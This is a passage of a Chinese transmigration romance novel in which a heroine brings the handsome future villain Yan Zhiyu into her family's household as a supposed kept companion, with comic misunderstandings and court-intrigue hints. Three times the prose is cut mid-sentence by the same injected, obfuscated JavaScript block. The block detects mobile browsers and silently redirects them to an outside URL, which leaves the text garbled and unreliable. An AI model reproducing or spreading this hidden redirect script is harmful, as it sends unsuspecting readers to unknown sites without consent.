“他……他的家境不好,目前生计还有些困难,没地方住。”何妙观不清楚燕之郁的家庭背景,只好模模糊糊地回答,“阿娘,能不能,让他在我们家暂时住一会?” “小姑子的这位朋友,是小郎君还是小娘子?”穿着紫越罗纱衣的貌美妇人好奇道。 听到这话,另一边谈话的粉衣少女和蓝裙妇人亦望过来。 这三人分别是原主的大嫂韩令仪韩氏、侄女何宝珠、以及二嫂姜映素姜氏。 何妙观有些心虚,不知道该把目光往哪放。 “是个小郎君……” 陈寄柔面色平静,一点也不显得意外,问道:“他今年多大?” “十七岁。”何妙观估算道。 “蛮好。”陈寄柔说完,停顿片刻,似在思考。 韩氏道:“老夫人,不若先带来看看,若是还过得去,暂且养着也没事。” 女眷们正说着话,门外传来一阵响动,原是仆役们簇拥着从扬州府回来的何怀初、何静臣二人。 弄清屋里商讨的话题后,何怀初横眉蹙起,道:“你这是又要养娈童?” 娈童? 这个词在语文考试的文言文里出现过,何妙观有印象。 指的是“被用来玩弄的美少年”,不是什么好词。 何妙观觉得自己冤枉,辩解道:“我、我什么时候说要养‘娈童’?” 何怀初冷笑道:“你说的不是娈童是什么?堂堂男子汉大丈夫不自食其力去考科举,走仕途,尽想用些勾引良家女子的方式来我们这种人家,啧!真是不知害臊。”说着,又看向陈寄柔,“怀初知道阿娘宠爱妹妹,但、但也不能宠成这样!阿娘,上一个才过去多久?还没一年吧?” 陈寄柔道:“阿娘又没答应,阿娘这不是还在考虑么?还有,怀初,别对囡囡这么凶。” “就是,怀初,你何必总是拦着小姑子?”韩氏也笑道,“小姑子今年十六岁,本就是情窦初开的年纪,早些同男子交往,好处倒也不少。一来能识破轻浮子弟,二来可参透富贵公子的虚情,三则能认得真心人的模样。隔壁顾家的小姐,因为心上人有小妾便一哭二闹三上吊,弄得好不难看。倘若顾家小姐早年略知些男子朝三暮四的脾性,何至于落得这般下场?怀初,你说是不是?嗯?” 顾家小姐指的是原主的朋友顾蕙仙,因为未婚夫养小妾,气得以泪洗面。 被妻子训斥后,何怀初也不再言语,板着一张脸,闷闷地坐在一边。 “令仪说得倒是没错,囡囡也快到出嫁的年龄,得早点认清男人的面貌。”陈寄柔对这个怪伶俐的儿媳很是满意,“明日看看他这人如何,若是过得去,留在府中做个清客也好。” 半刻钟后,晚间闲谈结束,众人一一回到房中。 何妙观正要跟着阿葵回去,但粉衣少女却跑上来,笑眯眯地扯住她的袖子:“姑姑!” 作为原主的侄女,何宝珠在见到杜鹤安后,也对他一见钟情。 该说“不是一家人,不进一家门”么? 何妙观有点好奇杜鹤安到底是个什么人物,让这么多人喜欢他。 “姑姑说的那个小郎君,长什么样呀?”何宝珠笑嘻嘻问道。 “他……只是普通人的样子。”何妙观不想多生事端。 “姑姑少骗宝珠。”何宝珠气鼓鼓地翻起白眼,“上回姑姑带宝珠偷偷去南风馆时说,现在的南风馆里,没一个过得去的长相,扬州的姊妹们吃得可真差。若是这个小郎君容貌普通,姑姑怎么愿意想办法带他回来?” 三言两语,何妙观已明白这是在说什么,惊叹原主竟放浪形骸到如此地步。 “姑姑、姑姑!”见她不答,何宝珠压低声音,死缠烂打道,“这里只有宝珠,姑姑就别藏着掖着啦!姑姑,那人一定是个美少年吧?” “没有。”何妙观咬咬牙,想要替原主挽回点形象,“姑姑不是只看皮相、无比肤浅的人。” “姑姑,你少来这套。”何宝珠毫不留情面地道,“哎,姑姑你别走……” == 暮色四合,云阳客栈二楼最里间的厢房内,烛火摇曳。 “燕公子方才为何迟迟不下令?”抱剑而立的清崖问道。 “就是就是。”清泉随声附和,“何小姐才见侍郎一面就请客吃饭,还是在荒郊野岭做出的决定,保准没有好心思。” 摇曳烛火映得燕之郁眼角的小痣愈发鲜艳。他未抬眼,将批完的公文轻轻推到一侧。 “属下猜何小姐肯定是看出公子的身份,包藏祸心。”清崖压低声音道。 “清崖说得不错,当然,也有可能是燕公子容貌倾城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345055|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、对燕公子一见钟情。” “这也有理,但是——” “啪”的一声,朱笔搁在砚台上。 燕之郁抬起眼眸,桃花眼淡淡扫过二人的面颊,含笑道:“你们很闲?” 清泉立刻换上一本正经的表情,手忙脚乱地将那堆公文揣进怀中:“不闲的、不闲的。属下这就把这些送回官府。” 清崖亦换上一副严肃的表情,退到门外,轻轻掩上门。 室内重归寂静。 燕之郁揉揉太阳穴。 因为醉仙楼的交谈,他才知道,何家小姐把自己当作落魄子弟,所谓的“十两银”,是每月资助他的钱财。 这在扬州不算罕见,没有男丁的富贵人家,确有资助年轻男子读书入仕的喜好。 可是,何家晚辈里,不是已有两人入仕途么? 燕之郁刚到扬州时,便和何家那位大郎打过交道,那是个粗鄙鲁莽的武夫,他不怎么喜欢,但胜在办事高效,不过一月,便把城郊的地痞流氓处理得服服帖帖。 至于何家二郎,是个容貌清癯的文官,平日里说话细声细语,没什么主见,在官府任的也是管理卷库的闲职。 或许是何家不满意这二位的官职,因此才物色适龄的年轻男子。 可倘若何妙观不是事先调查过自己,又是如何知道自己姓“燕”的? 燕之郁想不明白,头又开始隐隐作疼。 他站起身,在案上的香炉里添上一撮安神香。 袅袅升起的青烟中,少年走到铜镜前。白日束起的发髻已有些松散,垂落的发丝粘在他的颈间,他侧过头,用手指轻轻拨开,又拔下木簪。墨色绸缎般的头发如流水般倾泻而下,直垂腰际。 他想起醉仙楼分别时的对话。 何妙观问他:“燕郎君一会,是要回到那个庙里么?” 他点头。 少女的脸上浮现出担忧的表情,犹犹豫豫道:“可是,那个寺庙看上去很不安全。” “不碍事的。”他故意道。 “这样吧,我让阿葵去订一间客栈,燕郎君今晚先住在城里。” 于是,他在分别的时候问,为什么要帮他到这个份上。 少女支支吾吾,只是把房间的钥匙串留在他手中,说明日再说。 燕之郁走至榻边,将外袍搭在屏风上,解开腰间的玉带钩。衣物层层剥落,堆叠在他的脚边。烛光为他修长的身躯渡上金边,窄腰宽肩,肌肤如玉。 最后一条薄纱里衣褪去后,露出他腰腹上细长的疤痕。 这处疤痕其实很淡,只是因为肌肤柔腻白皙,才看上去显眼。 洗漱完后,燕之郁坐在榻边,吹灭烛火。 冰凉的月光透过纱帐变得柔和,在他脸上投下淡淡的光影。 他阖上眼。 此女千方百计接近自己,但却看不出明确的意图,就像轻烟一样,难以捉摸。 但无所谓。 反正这段时间在扬州闲着也是闲着,扮演一下无家可归的可怜虫,把幕后主使钓出来,也蛮有趣的。 5. 五 晨光熹微,尚不刺眼的阳光透过窗户纸射进屋内,把漂浮在空气中的纤尘照得分明。 仰躺在拔步床上的何妙观,愣愣地看着床帐。 她实在没想到,讨厌的生物钟在穿越后还会起作用。 明明很困,但是一闭上眼,大脑就一片混乱,刺耳的声音在拼命催着自己起床、早读、复习功课、不要浪费光阴,一定要超过周子叙、比周子叙优秀,这样才能获得人们的喜爱。 好吵,好吵,好吵。 窗外传来婉转的鸟啼,还有何府中仆役们的脚步声。 何妙观深吸一口气,坐起身。 听到响动,阿葵跑进来,讶异道:“小姐今日怎得起这样早?” “大概是因为一日之计在于晨吧。”何妙观想到学校墙壁上贴着的横幅,苦笑道。 “不愧是我们小姐,就是用功。”阿葵一面夸赞,一面从托盘上取过一个精致的瓷杯递上来。 何妙观接过杯子,学着古装剧里的样子含了一口。清凉的液体带着淡淡的甜香,有薄荷的味道。漱完后,俯身吐进痰盂里。 阿葵又拧了块热毛巾递过来。 温热的毛巾敷在脸上,何妙观终于清醒一些。 她起身,坐在铜镜前,乌黑的长发被分成六股,盘绕、固定,渐渐变成一个复杂的发髻。 “小姐今日想穿哪套衣裳?”阿葵问,“湖蓝色的留仙裙可好?” 何妙观连忙点头。 其实根本不知道原主喜欢穿什么,幸好阿葵话多,自己只用点头和摇头就行。 阿葵和阿菁一起从衣柜里取出一套层层叠叠的衣裙,扶着何妙观起身。 少女像木偶一样被摆布着,抬手、转身、低头,任由被裹上里三层外三层的衣裳。最里是雪白的里衣,然后是叶青色的中衣,最外面是湖蓝色的留仙裙,裙摆上绣着银色的云纹,一动便泛出粼粼波光,犹如湖泊。 阿葵又替她上妆。先是珍珠粉敷面,再是用一支细笔蘸着淡淡的赭红描画眼尾,最后点唇脂。望着镜中明眸皓齿的少女,何妙观有些恍惚。 昨夜卸妆的时候,何妙观就发现,原主和自己长得一模一样。 脸一模一样、身体一模一样、伤疤一模一样、胎记也一模一样。 相较于身穿,何妙观其实更希望是魂穿。 她不是很喜欢这具身体。 = 时辰还早,云阳客栈的大堂尚显清冷。 见何妙观来,掌柜笑着迎上来:“何小姐安好,可是来寻那位寄居在此的小郎君?” 何妙观点点头,跟着掌柜向二楼的厢房走去。走廊很宽敞,能闻到淡淡的熏香。最里间的厢房门口,站着一个年轻男子,男子身材高挑,穿着墨色劲装,腰间束着玄色革带,听见脚步声蓦然回首。 四目相对的刹那,男子身形微顿,随即转身离去。 如果没看错,男子方才便站在燕之郁的门口。 他是谁? 何妙观好奇地侧过头,但那男子步履极快,转瞬间,已消失在走廊拐角处。 阿葵叩响房门:“燕郎君,我们小姐来找你。” 屋内传来一阵窸窸窣窣的响动,接着是略带沙哑的回应:“何小姐请进。” 何妙观让阿葵在门外等着,自己推门而入。 “你还没用过膳吧?这是桂花糕和冰糖雪梨羹,趁热吃。” 何妙观将手中的竹编食盒放在八仙桌上,抬起眼,才注意到他晨起的打扮。 此刻的燕之郁身上只穿着件雪白的寝衣,衣带松松地系着,如瀑的黑发未束,随意披散在肩头。 松松垮垮的衣襟微敞,露出纤细的、白皙的锁骨。随着他的动作,一股奇异的、令人心痒的香味飘过来,不是很浓郁,但是却密不透风,一丝一丝的钻进鼻腔里。 何妙观移开视线。 “你要不先、先穿好衣服?” 昨夜回府前,她便托阿菁去买一套合适的衣服留在这,但不知为何他没有穿,是不合身么? 燕之郁抬起眸,眼中还带着惺忪睡意。但他还是听话地走到屏风后面,一边解衣带一边解释着:“郁从前独居,没人教过这些规矩。让何小姐见到这般邋遢的模样,对不住何小姐。” 何妙观想,他从前一人住,确实没必要学这些规矩,连忙道:“燕郎君,我方才不是责怪的意思。” 日光斜照,屏风上映出他更衣的修长剪影。 燕之郁换上靛蓝色的圆领袍,走出来,原本披散的头发挽在脑后。少年面若莲花,如珠如玉,朴素的衣衫亦被衬出风华。他的目光落在打开的食盒上,弯下腰。 “好香。”燕之郁抬起眸,目光直勾勾地望过来,“是何小姐做的么?” 何妙观连忙摇头:“是路边买的,很好吃,燕郎君,趁热吃吧。” 燕之郁不动筷,而是道:“何小姐先说昨日谈到一半的事吧。” 何妙观当他急着想和自己回家,便长话短说:“阿娘想见你一面。若没什么意外,燕郎君今日起,便可以做我们家的清客。” 燕之郁并没有多少喜色,缓缓抬起眼,确认道:“清客?” “是。”何妙观看出他微妙的表情,一时有些犹疑,“你……不想做清客?” 燕之郁垂下眼帘,浓密纤长的睫羽在眼下投下阴影,掩住眸中一闪而过的寒芒。 不知是哪位政敌这样无聊,千方百计派人来自己面前,只是为羞辱而已。 可惜在年少时受过的羞辱太多,他倒不会因一句“清客”有太多情绪波动,一息后,理好表情,柔柔地笑起来:“若非何小姐相助,郁至今还居无定所。昨日没能报答何小姐,如今能做何小姐的清客,倒是郁的福泽。” 他字字恳切,令何妙观有些动容,连忙道:“燕郎君不要妄自菲薄,像燕郎君这般的人,若是努力,定会成为全扬州、全天下最好的清客的。” 少年秀美的眼睫微微颤动,一时不知该说些什么。 何妙观看着他的表情,感到没由来的怪异,小心翼翼道:“你可是有什么难处?” 燕之郁摇摇头,乌发随着动作滑落肩头。他抬手将发丝拢到耳后,缓缓道:“既是清客,只用做何小姐的清客便好,全扬州、全天下的清客,似乎太过残忍;况且,郁身体欠佳,也担不起这样的重任。” “这样啊。”何妙观叹气,还以为作为反派,燕之郁会有什么大志向。 但是,为什么他的评价却又是“残忍”? 可怕的念头从脑海中一闪而过。 走廊里,阿葵闲着无聊,正拿着一串彩绳编同心结。 “阿葵,你、你应该知道清客是什么吧?” 阿葵瞪大眼睛,双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345056|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颊飞红:“知道呀,但小姐怎么突然问这个?” 何妙观不愿暴露自己的无知,故作镇定道:“我不过是想知道阿葵眼里,怎样的才算得上是个好清客……” “这……”阿葵声音细如蚊呐,眼神飘忽,“阿葵眼中的好清客,首先要模样漂亮,白日里陪着吟风弄月,品茶对弈,若是文采好些的,还能帮着誊抄诗书。夜里,唔,夜里……哎,小姐,阿葵不懂这些,你不要调戏阿葵啦。” 何妙观如遭雷击,脑海中闪过方才燕之郁茫然的脸色和那句“太过残忍”。 她以为陈寄柔昨日提到的“清客”,和战国四公子的“门客”是同个概念,从未想过一字之差,意义失之千里。 为什么“清客”会是指富贵人家养的男宠啊?!明明是这么好听的两个字! 何妙观痛苦地回忆起刚才说过的每一句话,诸如“定会成为全扬州、全天下最好的清客的”之类的,简直是虎狼之词! 此刻燕之郁眼中的自己,怕是和昨日的大汉没有区别吧? 不行不行不行!他们日后还得好好相处呢! 何妙观深吸一口气,整理好情绪,再度推门而入。 少年单手支颐,望着窗外。疏落的竹影映在他身上,为简素的袍衫绣上云纹。 “燕郎君……”何妙观局促地坐下,“刚刚是我唐突,冒犯郎君。我、我昨日睡得不好,刚刚有一点嘴瓢,想说的也不是‘清客’……” 燕之郁眉梢微挑,并不出声。 “我想说的其实是门客。”何妙观声音越来越小,“招揽贤士的‘门客’。燕郎君,我、我知道自己过去风评不好,但如今,已有悔改之心,不会随意折辱他人。刚刚是一时口误,还望燕郎君能够谅解。” 屋内一时寂静。 半晌,燕之郁抬起眸,定定地望着她,竟是微微一笑。漂亮的笑容像是柔风路过湖泊一样,漫不经意的,像是并不把她的道歉放在心上。 “能被何小姐垂怜,郁感激不尽,况且,门客、清客都是寄人篱下,其实没什么分别。” 何妙观愣愣地望着他,以为他是故作坚强,心中愈发愧疚,极力解释道:“燕郎君,你不要这样。以后我若是哪句话让你不舒服,你指出来便是,不必强忍着。我知道我过去做过很多荒唐事,但我对你真的没有什么其他的念头……真的,还请燕郎君相信我。” 何妙观越说越感到无力。 萍水相逢而已,她便愿意将他带回何府,旁人怎么看都像是见色起意、图谋不轨吧? 毕竟他长得这般好看,而原主又有过“前科”。 都怪她昨日太心急,才没想周全。 说完后,见燕之郁没反应,何妙观慢慢垂下眼。 看出少女慌张的神情,燕之郁薄薄的嘴唇弯起来。 “何小姐不必如此紧张,郁相信你的话。” 明明他是在笑,但何妙观却感到没由来的心慌,像是被一只吐着信子的毒蛇在打量。 这一份心慌和不安,在下一刻便得到答案。 “但郁有一个小小的困惑,需要何小姐解答。”燕之郁从椅子上站起来,慢慢地走到她面前,他身上的香味愈加馥郁,何妙观一度感觉神智要离自己而去。 “何小姐,昨日往前,我们并未见过面。” “你是如何知道我姓燕的?” 6. 六 穿书文都有一个规定,就是不允许向穿世界暴露“系统”的存在。 这个世界也不例外。 当何妙观犹豫着措辞时,耳边弹出系统的警告。 【如果宿主暴露我的存在,是会受到惩罚的哦。】 【请宿主谨慎措辞。】 “这个事情,说来话长。你先坐下,我慢慢和你讲。” 燕之郁终于坐回原位。 香味散去,何妙观感觉头脑清醒些,开始编故事。 “那一日,我和婢女们去梧桐寺点灯,却因为中暑晕倒。晕倒后,我做了一个梦,梦里有个白发飘飘的仙人让我从寺庙出去,再往东走四百步。他说,我会遇到一个姓燕的人。若是他有难处,我一定要帮帮他。” 作为新时代唯物主义好青年,何妙观从不信怪力乱神,全是凭意志力在满口胡言。 可少年的表情却出奇地认真,漂亮幽黑的眼睛专注地盯着她,像是在期待接下来的每一句话。 “嗯。然后呢?” “我很好奇,醒来后,便让婢女们带着我往那边走。我们遇到一群流氓,我问他们叫什么,没想到,真的有一个姓燕的!他说他在家里排行第五,让我叫他‘燕五’,但我总觉得不是他……因为他很普通又粗鄙,不是什么好人。仙人怎么会让我帮那样一个人呢?” 何妙观不擅长说谎,只能尽量还原故事的全貌。 “然后、然后我便遇见了燕郎君。燕郎君和他们都不一样。我觉得,仙人如果托梦找人,一定找的会是你这样的人。” 漆黑的眼底笑意盎然,他故意道:“郁是什么样的人?” “你……” 何妙观想起初遇时的场景,滞涩的呼吸,漏拍的心跳,以及再也移不开的视线,她那时想,天底下怎么会有这么好看的人,漂亮到近乎锋利,连阳光都垂怜他,只愿意将他一人照得雪亮。 “何小姐?” 何妙观有点羞赧,不好意思地垂下眼去,小声道:“是见一眼就能记住样貌的人。” “是么。” 燕之郁轻轻地笑起来。 他当然不相信什么仙人指路。 但要应验何妙观是否说谎,却很简单。只需派人看看那日的地痞流氓里,是否真有一人姓“燕”。 倘若有,倒可以从那人入手,看看他和何小姐有什么关系。 “这样看来,能同何小姐相见,竟是命中注定。”燕之郁抬起眸,唇角微弯,看上去很温柔,“郁一定会好好珍惜,往后在一起的每一寸光阴。” == 马车穿过繁华的街道,停在何府大门前。 两人在仆役的带领下穿过垂花门,绕过影壁,往正厅走去。 “阿娘,这位便是燕郎君。”何妙观一边道,一边在陈寄柔身畔坐下。 燕之郁上前一步,欠身行礼。 陈寄柔微微颔首,打量起眼前的少年。 少年姿容秀美绮丽,身姿挺拔如修竹,气质不输于世家子弟。 比上一位庸俗脂粉好。是个不落俗套、可以拿得出手的。 陈寄柔心中已有三分满意,笑道:“小燕郎君可曾读过书?” “郁在村里的学堂读过两三年书,勉强识点字。” 倒是个谦虚的人。 陈寄柔又问:“小燕郎君,你的家人是做什么的?” 何妙观静静地听着。 原书对燕之郁的家庭描写很少,只说他自小在扬州郊外长大,家境贫寒,直到漂泊到长安被贵人相中,才得以进入仕途。 “家父是扬州城平康村的教书先生。家母是寻常绣娘。” 陈寄柔点着头,心想着也不算太差,喃喃道:“模样标致,认得字,家世也清白。既然囡囡喜欢,今后便留在府中吧。张管事,你——” “等一等,阿娘。”坐在一旁的何怀初忽地开口,“他虽自称由教书先生养大,但未经核实,怎知不是信口胡言?平康村的教书先生不多,你且说说你父亲叫什么?” “家父姓陈,单名一个衡字。”燕之郁答道。 看出众人脸上的疑惑,他又解释:“郁是随家母姓。” 何怀初沉吟片刻,不记得扬州城外有这么一个教书先生,看向何静臣:“二弟,你可有印象。” 陆静臣略一思索,也摇摇头。 “阿娘,二弟是不会记错的。”陆怀初得意洋洋,轻蔑地看向何妙观,“瞧瞧阿妹带来的人,其他的本事看不出来,撒谎的本领倒是很强。怕不是家里有人入过牢狱,才不敢如实说吧?” 面对刁难,燕之郁平静无澜,淡淡道:“家父因为永昌十三年的匪患去世。扬州府的卷库里应当记载过那次匪患罹难的人,陆大郎若是不信,可以去查一查。” “阿弥陀佛,阿弥陀佛……”陈寄柔转起手中的佛珠。 何怀初一时无言。 “既然如此,那燕郎君暂且先住在东厢,待刺史回来再作定夺。老夫人,这样如何?”气氛肃然,韩氏打圆场道。 陈寄柔点头赞同。 “张管事,你去将东院临水的厢房收拾出来,备齐笔墨纸砚,再添些新衣。小燕郎君,今后你便是何府的人。” == 燕之郁的住所也在东院,和何妙观的闺阁只隔着一个花园。 厢房内人来人往,婢女们忙着洒扫庭院,很是热闹。 因为担心燕之郁无聊,何妙观便让宝珠去陪他说话,自己则和张管事一起拟一份采购的物事单。 “燕郎君,这是姑姑最喜欢的花,姑姑给它取名叫‘羽衣莲’。”何宝珠将红艳艳的莲花递上来,“因为花瓣层层叠叠,就像美人的舞裙。哎,燕郎君可会歌舞?” 燕之郁接过花,摇摇头。 他对无关紧要的人态度素来冷淡,转身走进屋内,将羽衣莲插进瓷瓶中。 “可姑姑的上一位清客会。”何宝珠跟上来,惋惜道,“燕郎君可要好好学一下。” “嗯。”燕之郁看着瓶中摇曳着的羽衣莲,问,“上一位是谁?” “上一位是南风馆的伶人,叫穆莲。”何宝珠念起往事,“他那时十六岁,被家人卖到南风馆。穆莲歌舞俱佳,模样也好看,他在馆里被其他伶人记恨虐待,姑姑觉得可怜,便替他赎身,养在府中。可穆莲是个不知好歹的,竟然私下还惦念着他的青梅,两人见面私通,甚至为他的青梅偷姑姑的珠宝到当铺换钱。姑姑发现后,这个穆莲甚至还想毒死姑姑!姑姑一怒之下,让下人打断了他一条腿,然后丢了出去,也不知现在在哪,大概是死掉了吧?不过也是活该,姑姑对他这么好,他却做出那种事情……” “确实活该。”燕之郁漫不经心道。 “燕郎君可是真心这样想?”何宝珠眼睛一亮,“当时其他人都说姑姑太残忍。连老夫人都少见地生了气,罚姑姑去抄经书。” 燕之郁没有回这个问题。 “宝珠小姐同我,是第一次见面吧。”他转而问。 “是啊。”何宝珠没听懂他的话,笑意依旧,“若是此前宝珠见过燕郎君这样好看的人,一定有印象。说实话,燕郎君比穆莲好看十倍百倍……” 燕之郁轻笑一声,抬眸打量眼前的少女。少女约莫十四五岁的年纪,容貌还未长开,但因画着精致艳丽的妆容,看上去比何妙观还要成熟一点。 “只是见一面,宝珠小姐便把你姑姑的事情,全部讲出来么?” “燕郎君觉得,宝珠在故意透露姑姑的私事?”何宝珠一愣,随即笑道,“但这些事情,何府老一点的仆人都知晓。”她微微一顿,“更何况,宝珠虽称你一声‘燕郎君’,但你应当知道,清客是什么意思吧?宝珠劝你……” “你们在聊什么?” 何妙观刚从管事那回来,就听到“清客”二字,吓得赶紧出声打断。 “姑姑,我在同燕郎君说你以前的清客。”何宝珠柔柔笑起来,“宝珠没什么坏心思,只是希望燕郎君不会重蹈覆辙——” “燕郎君不是清客。”何妙观连忙纠正道。 何宝珠有些讶异,轻轻“啊”了一声。 “他是姑姑的朋友。只是暂时住在我们这。” “可是,燕郎君刚刚什么也不辩驳,宝珠还以为、还以为——”何宝珠捂住嘴。 她真的以为燕之郁是新来的清客。 既是清客,家事说给他听也无妨,因为他们可不敢乱说话。 清客的命归主人,打死也是不碍事的。 上一个穆莲,被打死后不也无事发生? 可没想到,燕之郁不是清客。 但他又为何一句也不辩驳? “宝珠,你到底同燕郎君说了些什么?”何妙观一副快哭出来的表情。 但宝珠还是不答。 何妙观只好看向燕之郁。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345057|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他温和地笑笑,道:“无伤大雅的一些话而已。何小姐不必担心。” “是啊是啊。”何宝珠终于笑起来,“哎,姑姑和燕郎君,是在哪认识的?” “我们是在梧桐寺外面遇见的。” “是梧桐寺外,往东走四百步的地方。”燕之郁纠正道。 何宝珠点点头,自顾自道:“《路边捡到貌美夫婿》的话本原来是有依据的。姑姑的运气总是这样好,宝珠好生羡慕。” 待房间收拾妥当,添置好家具,已是将近傍晚。 一行人沿着青石小径缓步而行。 阿葵一边引路,一边向燕之郁介绍何府布局。 “何府分前中后三进,前院是何刺史、老夫人会客的正厅,中院住着刺史和老夫人,后院则是小姐和大郎、二郎的居所。” “后院又分东西两厢。” “东边这片园子最是清幽,夏日里荷风送爽,适合读书休闲,二郎就经常邀有人在那边的喜雨亭对弈。” “西边有个练武场,大郎无事时,在那里习武。” “藏书阁在中院西侧的听雪轩内,老夫人说,燕郎君若是有兴趣,可随时去借阅,何刺史有不少孤本典籍……” 结束后,两人并排而行,往东院走去。 初夏的风裹挟着花香拂过衣袂,送来凉爽。 何妙观察觉到一束目光落在自己的侧脸上,好像在端详自己。 她想要看得再分明些,但又不敢转过头,只能垂下眼眸,看向石板路上两人的倒影。 影子挨得很近,少年偏着头,确实是在看自己。 “何小姐平日都做什么?”少年忽而问道。 “看话本、逛街、品尝美食……”何妙观回忆着原主的生活,“燕郎君呢?” “抄书、卖画。郁此前便以此谋生。” “燕郎君都画些什么?” 燕之郁缓缓抬眸,鸦羽般的长睫下,浓黑的桃花眼直直地望过来。 “什么都画,花鸟、山水、器物,还有……”他微微一笑,“还喜欢画美人,可惜不多见。郁可以帮何小姐画一幅么?” 他笑得风华粲然,何妙观愣愣地望着他,脸红起来。 画美人?他是在夸自己是美人吗? 何妙观不知道自己到底好不好看,以前出门,被夸漂亮的总是周子叙。至于她,人们至多说一句“这丫头水灵”。 “那……一幅画要多少钱?”何妙观收回神,问。 “何小姐的话,只用五文钱。”燕之郁笑着道。 “那卖给别人呢?” “也不贵,十文。” 给自己打五折,挺厚道的。何妙观想。 但她面皮薄,一想到给他当模特要被盯着看那么久,整个人都有点发热,委婉拒绝道:“等我想好再来找你,可以么?” == 夜幕降临,皎洁的月光透过雕花窗棂,为灰砖蒙上一层清清冷冷的影。 “燕公子。” “说吧。” 燕之郁倚在紫檀木雕花榻上,一腿屈起,宽大的素白袍袖垂落榻边。 清冷的月光为他渡上一层银辉,衬得面容愈加昳丽,如同雪瓷做的人偶。 “虽然扬州何氏是官宦人家,但何徵只是普通的扬州刺史,和长安党争毫无干系。” “前些日子为难公子的那帮地痞里,确实有一个姓‘燕’的男子,在家中排行第五。可是,属下细细调查过他,他是会稽人,去年才来到扬州,同何家也没有任何联系。” 燕之郁蹙起眉:“这倒是有趣。” 清崖微微一顿,犹豫道:“公子要留在何府,可是圣人的命令?” 燕之郁摇摇头:“一时兴起而已。” 清崖愕然,想起早上在云阳客栈屋顶听到的对话。 竟然真有人一时兴起愿意当清客啊? 他当时还以为,听到那一句“清客”,公子会直接杀人的。 “那公子这些日子都要住在何府?”清崖又问。 “嗯。” 燕之郁把玩着手中的羽衣莲,修长如玉的指尖轻轻捻过花瓣。粉嫩的花瓣破碎后,汁液染红白皙的指腹。 他没想到,何府这么多有趣的人。 烂掉的花被他随手抛到窗外。 “若有重要的事,你们来这里禀报。至于公务,会有人处理的。” 7. 七 原主有两位闺中密友,一位叫陆怀翡,出身江东陆氏的旁支;另一位叫顾蕙仙,出自苏州顾氏的嫡支。 顾蕙仙有一个哥哥,叫做顾徊,今年刚满弱冠。 顾徊是《冠缨录》的男三,作为杜鹤安的好友,亦是后期斗倒燕之郁的重要角色。 顾家和何家三代交好,顾徊和原主是青梅竹马,很早便定下娃娃亲。 但顾徊十一岁后,便随他做京官的伯父一同去往长安。 看惯长安繁华的顾捷很快就看不上原主,对原主的为人处世也颇有微词,而原主也不是软柿子,两人一见面,动辄便是冷嘲热讽。 这些日子,何妙观大部分时间都和顾蕙仙、陆怀翡一起,白日逛街,晚上去醉仙楼,偶尔还要喝酒。 古代的酿酒技术不好,喝一点不会醉,但却令何妙观肚子痛,还不止一次。 她也尝不惯酒的味道,无论是普通米酒还是流行的桂花酒,都令她感到诡异。 一来二去,何妙观实在受不住折磨,说这段时间身体不适,不便频繁出门。顾、陆二人似乎察觉到了什么,也不再写信邀请。 于是最常和她呆在一起的,便是何宝珠。两人大部分时间都耗在清乐坊。 “这些日子姑姑怎么不带上你的燕郎君一起?” “燕郎君是正经人,不能跟着我们胡闹的。”何妙观摇摇头,“还有,什么叫‘我的’?宝珠你小小年纪,少说这种话。” 何宝珠说话肆无忌惮,她试图纠正很多次,却无济于事。 “姑姑带回来的,就是姑姑的人。宝珠带回来的,就是宝珠的人。”何宝珠歪头,一本正经道,“姑姑,宝珠懂一点面相,燕郎君一看就是宜家宜室的好夫郎呢。只可惜他出身太差,若也是官宦出身,还蛮适合姑姑的。” 未来的大反派在何宝珠眼里竟只是个宜家宜室的好夫郎,何妙观忍不住笑起来,红润的嘴唇弯弯的:“面相不准的。宝珠,你不要因为一个人长得好看就掉以轻心。” 何宝珠“噗嗤”一笑:“姑姑这话,真像是被美色所惑后的反省。” “宝珠,我真的好些日子没见过他。”何妙观欲哭无泪。 “真的么?”何宝珠满脸不信,“如果姑姑不见燕郎君,他会不会很寂寞?除却姑姑,好像没有人会接近他。” 何宝珠说的确实不错。 尽管极力辩解过燕之郁不是清客,但府中下人们暧昧的眼神,分明还是将他视作清客,没有人会主动找他。 何妙观很为难,因为她也不想找燕之郁。 一旦和他单独呆在一起,心跳就特别快,手心也冒汗。他身上的香味,他的微笑,他的衣袖拂过时带起的痒意,无一不令人感到呼吸滞涩。 回府后,何妙观向婢女问起他的近况。 婢女道:“燕郎君大多时间都在屋里,不常出门。小姐晚上要去看看他么?” 何妙观点点头,说好。 夜色渐深,房间的灯火透过竹隙,将石板路照亮。何妙观在门口停下脚步。 